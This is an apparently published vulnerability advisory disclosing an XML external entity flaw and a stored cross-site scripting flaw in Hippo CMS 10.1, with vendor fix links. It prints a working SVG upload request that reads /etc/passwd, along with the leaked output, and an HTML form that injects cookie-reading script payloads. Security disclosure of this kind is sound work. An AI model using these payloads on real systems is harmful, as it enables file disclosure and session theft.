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Hippo CMS 10.1 XML External Entity Information Disclosure Vulnerability


Vendor: Hippo B.V.
Product web page: http://www.onehippo.org
Affected version: 10.1, 7.9 and 7.8 (Enterprise Edition)

Summary: Hippo CMS is an open source Java CMS. We built it so you
can easily integrate it into your existing architecture.

Desc: XXE (XML External Entity) processing through upload of SVG
images in the CMS, and through XML import in the CMS Console application.

Tested on: Linux 2.6.32-5-xen-amd64
           Java/1.8.0_66
           Apache-Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5301
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5301.php

Vendor: http://www.onehippo.org/security-issues-list/security-12.html
        http://www.onehippo.org/about/release-notes/10/10.1.2-release-notes.html


04.12.2015

---


[Request]:


POST /?1-8.IBehaviorListener.0-root-tabs-panel~container-cards-2-panel-center-tabs-panel~container-cards-3-panel-editor-extension.editor-form-template-view-3-item-view-1-item-extension.upload-fileUpload-form-fileUpload HTTP/1.1
Host: 10.0.2.17
User-Agent: ZSL_Web_Scanner/2.8
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://10.0.2.17/?1&path=/content/gallery/test4.svg
Content-Length: 2101
Content-Type: multipart/form-data; boundary=---------------------------20443294602274
Cookie: [OMMITED]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


-----------------------------20443294602274
Content-Disposition: form-data; name="id1a0_hf_0"


-----------------------------20443294602274
Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:1:item
:view:1:item:value:widget"


-----------------------------20443294602274
Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:2:item
:view:1:item:view:1:item:view:1:item:value:widget"


-----------------------------20443294602274
Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:2:item
:view:1:item:view:2:item:view:1:item:value:widget"


-----------------------------20443294602274
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left
:view:1:item:view:1:item:value:widget"

asd
-----------------------------20443294602274
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left
:view:2:item:view:1:item:value:widget"

hhh
-----------------------------20443294602274
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left
:view:3:item:view:1:item:panel:editor"


-----------------------------20443294602274
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.right
:view:2:item:view:1:item:value:widget"

hhh
-----------------------------20443294602274
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.right
:view:3:item:view:1:item:value:widget"

hhhh
-----------------------------20443294602274
Content-Disposition: form-data; name="files[]"; filename="svgupload2.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="yes"?><!DOCTYPE zsl [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]
><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999
/xlink" version="1.1">&xxe;</svg>
-----------------------------20443294602274--



[Response]:


<?xml version="1.0" encoding="UTF-8"?><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www
.w3.org/1999/xlink" height="7" version="1.1" viewBox="0 0 500.0 40.0" width="98">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
***
***
***
***
</svg>

###############################################################################

<!--

Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability


Vendor: Hippo B.V.
Product web page: http://www.onehippo.org
Affected version: 10.1, 7.9 and 7.8 (Enterprise Edition)

Summary: Hippo CMS is an open source Java CMS. We
built it so you can easily integrate it into your
existing architecture.

Desc: Hippo CMS suffers from a stored XSS vulnerability.
Input passed thru the POST parameters 'groupname' and
'description' is not sanitized allowing the attacker to
execute HTML code into user's browser session on the
affected site.


Tested on: Linux 2.6.32-5-xen-amd64
           Java/1.8.0_66
           Apache-Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5300
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5300.php

Vendor: http://www.onehippo.org/security-issues-list/security-12.html
        http://www.onehippo.org/about/release-notes/10/10.1.2-release-notes.html


04.12.2015

-->


<html>
 <body>
  <form action="https://10.0.2.17/?1-1.IBehaviorListener.0-root-tabs-panel~container-cards-6-panel-panel-form-create~button" method="POST">
   <input type="hidden" name="id26c_hf_0" value="" />
   <input type="hidden" name="groupname" value="<img src=ko onerror=confirm(document.cookie)>" />
   <input type="hidden" name="description" value="<img src=ko onerror=confirm(2)>" />
   <input type="hidden" name="create-button" value="1" />
   <input type="submit" value="Inject code" />
  </form>
 </body>
</html>